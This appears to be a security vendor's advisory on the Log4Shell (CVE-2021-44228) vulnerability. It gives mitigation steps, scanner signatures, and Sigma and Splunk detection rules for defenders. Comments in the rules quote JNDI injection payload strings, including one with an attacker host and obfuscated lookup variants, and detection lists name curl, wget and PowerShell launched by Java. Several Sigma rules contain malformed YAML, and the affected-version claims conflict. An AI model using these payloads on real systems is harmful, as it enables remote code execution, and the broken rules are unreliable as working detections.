Log4j/Log4Shell Updates and Recommended Guidance

DECEMBER 13 23:41 GMT

UPDATE This is a follow-up to our initial advisory with new information on the evolving Log4Shell vulnerability. See the changelog at the bottom to track latest updates.

update Log4j 2.16.0 has been released to patch a newly discovered DoS vulnerability.

---

The Apache Log4j vulnerability which started making mainstream headlines last Thursday afternoon has erupted across the industry as the latest perfect security storm: ubiquitous, easy to exploit, powerful, and high-profile. Since our initial advisory on Friday morning, the situation has seen some developments and new recommended guidance is available. The latest news is also reporting mutations to the original exploit techniques, further complicating monitoring and mitigation.

Basic guidance is: administrators should be upgrading vulnerable systems and monitoring for exploitation attempts. This follow-up will cover that recommended guidance.

Innovate Cybersecurity will provide continuing updates and insight on details and events related to Log4j / Log4Shell.

Background (updated)

Now dubbed Log4Shell due to its effective shell-like potential to remotely execute arbitrary code on a Java application platform, CVE-2021-44228 is actually a Java Naming and Directory Interface (JNDI) injection exploit that uses a flaw in Log4j to bind a payload for execution by one of the services accessible by JNDI.

By default, Log4j is configured to perform lookups via JNDI for new log entries that require it. Initial mitigation is actually to restart the JVM with the parameter log4j2.formatMsgNoLookups set to “true” to prevent this behavior.

What’s happened since Friday?

Log4Shell seems to be the perfect storm vulnerability, combining the potential for unauthenticated RCE with one of the most popular application stacks propping up Internet services the world over. While comparisons to Heartbleed came quickly, news of mutations today is already manifesting the ripples across the industry that seem inevitable.

Evidence from Cloudflare’s Twitter account now suggests the vulnerability has seen exploit attempts as early as Dec 1, but activity has reportedly skyrocketed since official disclosure.

Researchers Netlab are seeing high botnet activity with their honeypots.

Recommended guidance

Guidance is broken out into 4 high-level steps per CISA: Upgrade, achieve visibility, monitor for activity, and block incoming attempts.

High-level strategy

CISA recommends the following 4 steps for Log4Shell mitigation:

1. Review the latest CISA current activity alert and upgrade to Log4j version 2.15.0, or apply their appropriate vendor recommended mitigations immediately.
2. Enumerate any external facing devices that have Log4j installed.
3. Make sure that your security operations center (SOC) is actioning every single alert on the devices that fall into the category above.
4. Install a web application firewall (WAF) with rules that automatically update so that your SOC is able to concentrate on fewer alerts.

Microsoft has also published a particularly comprehensive guidance article.

Do I have the Log4j vulnerability?

If you’re running a Java application stack, changes are good that Apache Log4j is being utilized. The vulnerability is limited to version 2.0-2.14. Determining vulnerability status can be accomplished using one of a few different tools.

And while Log4j is a logging library for Java applications, even if you’re not specifically running a Java stack, some vendor products can embed Java apps or servlets for cross-platform utility functionality. For this reason, a vulnerability scanning methodology is recommended.

1 Full Hunt has published an open source Python script to scan networks for the existence of the vulnerability. It can be loaded with a list of target URLs to test, and uses fuzzing techniques to scan with erroneous parameters for HTTP headers and POST data in an attempt to exploit the vulnerability. It supports DNS callback for discovery and validation.

2 Qualys has been updated with signatures for Log4Shell vulnerability detection:

730297	Apache Log4j Remote Code Execution (RCE) Vulnerability (Log4Shell) (Unauthenticated)	VULNSIGS-2.5.352-3 / 2.5.352.3-1
376157	Apache Log4j Remote Code Execution (RCE) Vulnerability (Log4Shell)	VULNSIGS-2. 5.352-3 / 2.5.352.3-1
150440	Apache Log4j Remote Code Execution (RCE) Vulnerability (Log4Shell)	VULNSIGS-2. 5.352-3 / 2.5.352.3-1
45514	System Property Mitigation Applied for Log4Shell (CVE-2021-44228)	VULNSIGS2.5.353-2
48199	Environment Variables Mitigation Applied for Log4Shell (CVE-2021-44228)	VULNSIGS2.5.353-2

3 Rapid7 received two new checks:

• Authenticated Check: apache-log4j-core-cve-2021-44228
• Remote Check: apache-log4j-core-cve-2021-44228-remote

4 Tenable has published 11 new plugins related to Log4j vulnerability scanning:

Plugin ID	Plugin Name	Plugin Type	Severity	Notes
156000	Apache Log4j Installed (Unix)	Local (Nessus)	Info	Thorough Tests may improve efficacy
156001	Apache Log4j JAR Detection (Windows)	Local (Nessus)	Info	Thorough Tests may improve efficacy
155998	Apache Log4j Message Lookup Substitution RCE (Log4Shell) (Direct Check)	Remote (Nessus)	Critical	Not supported by Cloud scanners or restrictive network environments
155999	Apache Log4j < 2.15.0 Remote Code Execution	Local (Nessus)	Critical	Based on plugin 156000 version detections
156002	Apache Log4j < 2.15.0 Remote Code Execution	Local (Nessus)	Critical	Based on plugin 156001 version detections
156014	Apache Log4Shell RCE detection via callback correlation (Direct Check HTTP)	Remote (Nessus)	Critical	For use by Cloud scanners and in restrictive network environments
113075	Apache Log4j Remote Code Execution (Log4Shell)	Remote (WAS)	Critical	Web App Scanner only
156015	Debian DSA-5020-1 : apache-log4j2 – security update	Local (Nessus)	Medium	Debian local package check
156016	Apache Log4Shell RCE detection via Path Enumeration (Direct Check HTTP)	Remote (Nessus)	Critical	CGI plugin – Thorough Test may increase detection capability
156017	SIP Script Remote Command Execution via log4shell	Remote (Nessus)	Critical	Requires Thorough Tests to run
156018	Debian DLA-2842-1 : apache-log4j2 – LTS security update	Local (Nessus)	High	Debian local package check

Mitigation techniques

If still waiting for vendor updates, there are a few mitigation techniques to prevent exploitation of the actual bug in Log4j 2.X:

• In releases >=2.10, the behavior can be mitigated by setting either the system property log4j2.formatMsgNoLookups or the environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS to true.
• For releases >=2.7 and <=2.14.1, all PatternLayout patterns can be modified to specify the message converter as %m{nolookups} instead of just %m.
• For releases from 2.0-beta9 to 2.10.0, the mitigation is to remove the JndiLookup class from the classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class.

Monitoring and detecting exploit attempts

This vulnerability is seeing an extremely high level of activity in the wild. Maximizing visibility and responding to exploitation attempts in the interim while waiting for vendor patches is critical.

Detection and blocking of exploit attempts occurs at both the Web Application Firewall (WAF) and with endpoint protection tools. Microsoft has published a comprehensive guidance complete with 365 Defender and Azure Sentinel IoCs and hunting queries.

WAF and Endpoint

Ex. Windows Defender IOCs:

• Trojan:Win32/Capfetox.AA – detects attempted exploitation on the attacker machine
• Trojan:Win64/DisguiseXMRigMiner – detection for coin mining post exploitation payloads
• HackTool:Win32/Capfetox.A!dha – detects attempted exploitation on the attacker machine
• VirTool:Win64/CobaltSrike.A, TrojanDropper:PowerShell/Cobacis.A – detects Cobalt Strike Beacon loaders

SIEM

For SIEM users, here are some use cases in Sigma:

• Log4j RCE
• Application (Proxy Webserver)
• Application (Sysmon)
• Application (Java)
• Perimeter (firewall DNS)
• Perimeter (firewall LDAP)
• Host (Windows)

Log4j RCE

title: Log4j RCE [CVE-2021-44228] Exploitation Detection Patterns (via keywords)
status: experimental
description: Detects possible Log4j exploitation patterns log entries in Linux log files.
author: SOC Prime Team
tags:
    - attack.initial_access
    - attack.t1190
references:
    - https://www.randori.com/blog/cve-2021-44228/
    - https://www-cnblogs-com.translate.goog/yyhuni/p/15088134.html?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=en-US
    - https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b
    - https://www.lunasec.io/docs/blog/log4j-zero-day/
    - https://www.reddit.com/r/programming/comments/rcxehp/rce_0day_exploit_found_in_log4j_a_popular_java/
    - https://github.com/YfryTchsGD/Log4jAttackSurface
    - https://gist.github.com/byt3bl33d3r/46661bc206d323e6770907d259e009b6
    - https://github.com/tangxiaofeng7/apache-log4j-poc
    - https://github.com/apache/logging-log4j2/pull/608
logsource:
  product: linux
  definition: need all available logs from /var/log filder and all sub folders.
detection:
  keywords:
    - 'jndi:ldap:' #{jndi:ldap://{args.attacker_host}/
    - 'jndi:rmi:'
    - 'jndi:ldaps'
    - 'jndi:dns'
  condition: keywords
falsepositives:
  - Unknown
level: high

Application (Proxy Webserver)

title: Application (Proxy / Webserver) - T1190 Log4j Vulnerability - Botnet
status: experimental
description: Detects possible Log4j exploitation patterns in user agent header on webserver logs.
author: SOC Prime Team
tags:
    - attack.initial_access
    - attack.t1190
references:
    - https://www.randori.com/blog/cve-2021-44228/
    - https://blog.cloudflare.com/cve-2021-44228-log4j-rce-0-day-mitigation/
    - https://www-cnblogs-com.translate.goog/yyhuni/p/15088134.html?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=en-US
    - https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b
    - https://www.lunasec.io/docs/blog/log4j-zero-day/
    - https://www.reddit.com/r/programming/comments/rcxehp/rce_0day_exploit_found_in_log4j_a_popular_java/
    - https://github.com/YfryTchsGD/Log4jAttackSurface
    - https://gist.github.com/byt3bl33d3r/46661bc206d323e6770907d259e009b6
    - https://github.com/tangxiaofeng7/apache-log4j-poc
    - https://github.com/apache/logging-log4j2/pull/608
logsource:
  category: webserver
detection:
  selection_base_ua:
    c-useragent|contains:
      - 'jndi' #real attack example: ${jndi:ldap://45.XXX.205.XXX:12344/Basic/Command/Base64/XXX==}
  selection_vars_ua:
    c-useragent|contains:
      - 'ldap'
      - 'rmi'
      - 'ldaps'
      - 'dns'
      - 'lower' # ${jndi:${lower:l}${lower:d}a${lower:p}://loc${upper:a}lhost:1389/rce}
      - 'upper'
  selection_base_url: #https://blog.cloudflare.com/cve-2021-44228-log4j-rce-0-day-mitigation/
    c-uri|contains: Inbound or outbound connection
      - 'jndi' 
  selection_vars_url:
    c-uri|contains:
      - 'ldap'
      - 'rmi'
      - 'ldaps'
      - 'dns'
      - 'lower' # ${jndi:${lower:l}${lower:d}a${lower:p}://loc${upper:a}lhost:1389/rce}
      - 'upper'
  selection_base_body: #https://blog.cloudflare.com/cve-2021-44228-log4j-rce-0-day-mitigation/
    post-body|contains: Http request
      - 'jndi' 
  selection_vars_body:
    post-body|contains:
      - 'ldap'
      - 'rmi'
      - 'ldaps'
      - 'dns'
      - 'lower' # ${jndi:${lower:l}${lower:d}a${lower:p}://loc${upper:a}lhost:1389/rce}
      - 'upper'
  condition: (selection_base_ua and selection_vars_ua) or (selection_base_url and selection_vars_url) or (selection_base_body and selection_vars_body)
falsepositives:
  - Unknown
level: high

Application (Sysmon)

title: Application (Sysmon) - T1190 Log4j Vulnerability - Botnet
status: experimental
description: Detects possible Log4j exploitation patterns log entries in Linux log files.
author: SOC Prime Team
tags:
    - attack.initial_access
    - attack.t1190
references:
    - https://www.randori.com/blog/cve-2021-44228/
    - https://www-cnblogs-com.translate.goog/yyhuni/p/15088134.html?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=en-US
    - https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b
    - https://www.lunasec.io/docs/blog/log4j-zero-day/
    - https://www.reddit.com/r/programming/comments/rcxehp/rce_0day_exploit_found_in_log4j_a_popular_java/
    - https://github.com/YfryTchsGD/Log4jAttackSurface
    - https://gist.github.com/byt3bl33d3r/46661bc206d323e6770907d259e009b6
    - https://github.com/tangxiaofeng7/apache-log4j-poc
    - https://github.com/apache/logging-log4j2/pull/608
logsource:
  product: Windows
  log source: Sysmon
detection:
  Event ID: 1
  keywords / Commands:
    - *log4j*
  condition: keywords
falsepositives:
  - Unknown
level: high

Application (Java)

title: Application (Java) - T1190 Log4j Vulnerability - Keyword
status: experimental
description: Detects possible Log4j exploitation patterns log entries in Linux log files.
author: SOC Prime Team
tags:
    - attack.initial_access
    - attack.t1190
references:
    - https://www.randori.com/blog/cve-2021-44228/
    - https://www-cnblogs-com.translate.goog/yyhuni/p/15088134.html?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=en-US
    - https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b
    - https://www.lunasec.io/docs/blog/log4j-zero-day/
    - https://www.reddit.com/r/programming/comments/rcxehp/rce_0day_exploit_found_in_log4j_a_popular_java/
    - https://github.com/YfryTchsGD/Log4jAttackSurface
    - https://gist.github.com/byt3bl33d3r/46661bc206d323e6770907d259e009b6
    - https://github.com/tangxiaofeng7/apache-log4j-poc
    - https://github.com/apache/logging-log4j2/pull/608
logsource:
  product: linux
  definition: need all available logs from /var/log filder and all sub folders.
detection:
  keywords:
    - 'jndi:ldap:' #{jndi:ldap://{args.attacker_host}/
    - 'jndi:rmi:'
    - 'jndi:ldaps'
    - 'jndi:dns'
  condition: keywords
falsepositives:
  - Unknown
level: high

Perimeter (firewall DNS)

Title: Perimeter (Firewall) - T1190 Log4j Outbound Connection - DNS
status: stable
description: Detects suspicious outbound connection attempt to LDAP, RMI or DNS standard ports by JAVA process
author: Onur Atali
date: 2021/12/11
tags:
- attack.T1190
references:
- https://sharkstriker.com/apache-releases-log4jshell-update-to-address-log4j-zero-day-exploit/
- https://isc.sans.edu/forums/diary/RCE+in+log4j+Log4Shell+or+how+things+can+get+bad+quickly/28120
- https://www.tenable.com/blog/cve-2021-44228-proof-of-concept-for-critical-apache-log4j-remote-code-execution-vulnerability
logsource:
  category: network_connection
  product: firewall
detection:
  selection:
    DestinationPort:
    - 53
    - 5353
  seleciton_firewall:
    Connection Allowed 

  condition: selection and selection_firewall
falsepositives:
- High 
level: high

Perimeter (firewall LDAP)

Title: Perimeter (Firewall) - T1190 Log4j Outbound Connection - DNS
status: stable
description: Detects suspicious outbound connection attempt to LDAP, RMI or DNS standard ports by JAVA process
author: Onur Atali
date: 2021/12/11
tags:
- attack.T1190
references:
- https://sharkstriker.com/apache-releases-log4jshell-update-to-address-log4j-zero-day-exploit/
- https://isc.sans.edu/forums/diary/RCE+in+log4j+Log4Shell+or+how+things+can+get+bad+quickly/28120
- https://www.tenable.com/blog/cve-2021-44228-proof-of-concept-for-critical-apache-log4j-remote-code-execution-vulnerability
logsource:
  category: network_connection
  product: firewall
detection:
  selection:
    DestinationPort:
    - 389
    - 1389
    - 636
    - 1099
  seleciton_firewall:
    Connection Allowed 

  condition: selection and selection_firewall
falsepositives:
- High 
level: high

Host (Windows)

title: Host (Windows) - T1059 Log4j RCE Post-Exploitation Detection Patterns
status: experimental
description: Detect common Log4J payload execution via command interpreters which can be used for post-compromise lateral movement activities.
author: SOC Prime Team, Qualys
tags:
    - attack.execution
    - attack.t1059
    - attack.t1059.001
    - attack.t1059.006
    - attack.t1059.007
references:
    - https://blog.qualys.com/vulnerabilities-threat-research/2021/12/14/log4shell-exploit-detection-and-response-with-qualys-multi-vector-edr
    - https://www.randori.com/blog/cve-2021-44228/
    - https://blog.cloudflare.com/cve-2021-44228-log4j-rce-0-day-mitigation/
    - https://www-cnblogs-com.translate.goog/yyhuni/p/15088134.html?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=en-US
    - https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b
    - https://www.lunasec.io/docs/blog/log4j-zero-day/
    - https://www.reddit.com/r/programming/comments/rcxehp/rce_0day_exploit_found_in_log4j_a_popular_java/
    - https://github.com/YfryTchsGD/Log4jAttackSurface
    - https://gist.github.com/byt3bl33d3r/46661bc206d323e6770907d259e009b6
    - https://github.com/tangxiaofeng7/apache-log4j-poc
    - https://github.com/apache/logging-log4j2/pull/608
    - https://www.tenable.com/blog/cve-2021-44228-proof-of-concept-for-critical-apache-log4j-remote-code-execution-vulnerability
    - https://www.crowdstrike.com/blog/log4j2-vulnerability-analysis-and-mitigation-recommendations/
    - https://blog.qualys.com/vulnerabilities-threat-research/2021/12/10/apache-log4j2-zero-day-exploited-in-the-wild-log4shell
    - https://unit42.paloaltonetworks.com/apache-log4j-vulnerability-cve-2021-44228/
    - https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/
    - https://blog.cloudflare.com/actual-cve-2021-44228-payloads-captured-in-the-wild/
logsource:
    category: Application
    product: windows
detection:
    selection
        Event ID 4688
    selection_process:
        ParentImage|endswith: 'java.exe'                (Parent Process)
        Image|contains:                                 (Process Name)
            - 'powershell'
            - 'cmd'
            - 'pwsh'
            - 'Python'
            - 'perl'
            - 'ruby'
            - 'wget'
            - 'curl'
            - 'wscript'
            - 'jscript'
    condition: selection and selection_process
falsepositives:
  - Unknown
level: high

Splunk

Splunk / Crowdstrike Falcon – Identifying potential POC usage

event_simpleName IN (ProcessRollup2, SyntheticProcessRollup2)
| fields ProcessStartTime_decimal ComputerName  FileName CommandLine
| search CommandLine="*jndi:ldap:*" OR CommandLine="*jndi:rmi:*" OR CommandLine="*jndi:ldaps:*" OR CommandLine="*jndi:dns:*"
| rex field=CommandLine ".*(?<stringOfInterest>\$\{jndi\:(ldap|rmi|ldaps|dns)\:.*\}).*"
| table ProcessStartTime_decimal ComputerName FileName stringOfInterest CommandLine
| convert ctime(ProcessStartTime_decimal)

Splunk – Those that are populating Splunk’s Endpoint.Processes datamodel to monitor endpoint clients can detect potentially vulnerable systems running the log4j process

| tstats summariesonly=t values(Processes.parent_process) AS parent_process,values(Processes.process) AS process,latest(_time) AS latest,earliest(_time) AS earliest from datamodel=Endpoint.Processes where (Processes.parent_process="*log4j*" OR Processes.process="*log4j*") by host
| eval _time=latest
| reltime
| fields - _time
| convert ctime(latest), ctime(earliest)
| table host parent_process process reltime latest earliest

…or with SysMon data:

index=main (source="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" OR source="Journald:Microsoft-Windows-Sysmon/Operational") EventCode=1 (CommandLine=*log4j* OR ParentCommandLine=*log4j*)
| table _time,host,CommandLine,ParentCommandLine

The Log4shell attack chain

Swiss Government Computer Emergency Response Team (CERT) has illustrated a great visualization on the attack chain of Log4Shell, with appropriate mitigating actions at each juncture:

Affected versions of Log4j

Vulnerable versions of Log4j:

• 2.0 RC1 – 2.15.x (updated 12.14.2021 17:59 CST)

In the initial Innovate advisory from December 10, we reported from early intelligence that Log4j 1.X versions were vulnerable, but it appears that is not the case.

Affected vendors list

Major vendors known to be vulnerable as of early Monday, December 13 include Atlassian, Amazon, Azure, Cisco, Commvault, ESRI, Exact, Fortinet, JetBrains, MicroFocus, Nutanix, OpenMRS, Oracle, Red Hat, Splunk, Soft, and VMware. In reality, the list is undoubtedly much longer than this.

Nationaal Cyber Security Centrum (NCSC-NL), the Netherlands government, has compiled a more exhaustive list of products affected by Log4Shell:

https://github.com/NCSC-NL/log4shell/tree/main/software

Resources

CVE.org CVE-2021-44228 detail
https://www.cve.org/CVERecord?id=CVE-2021-44228

CISA Activity Alert on Log4Shell
https://www.cisa.gov/news/2021/12/11/statement-cisa-director-easterly-log4j-vulnerability

Microsoft Guidance for preventing, detecting, and hunting for CVE-2021-44228 Log4j 2 exploitation
https://www.microsoft.com/security/blog/2021/12/11/guidance-for-preventing-detecting-and-hunting-for-cve-2021-44228-log4j-2-exploitation/

Swiss CERT
https://govcert.ch/blog/zero-day-exploit-targeting-popular-java-library-log4j/

Full Hunt Log4j vulnerability scanner script
https://github.com/fullhunt/log4j-scan

Radware updated advisory from Sunday Dec 12
https://www.radware.com/security/threat-advisories-and-attack-reports/log4shell-critical-log4j-vulnerability/

SwitHak Vendor response index
https://gist.github.com/SwitHak/b66db3a06c2955a9cb71a8718970c592

Changelog

• 12.15.2021 17:35 CST – Additional SIEM Sigma rules for firewall and host
• 12.14.2021 19:22 CST – Replaced list of affected software with more comprehensive version from Dutch National Cyber Security Center
• 12.14.2021 17:59 CST – Added Sigma rules and updated affected versions to reflect CVE-2021-45046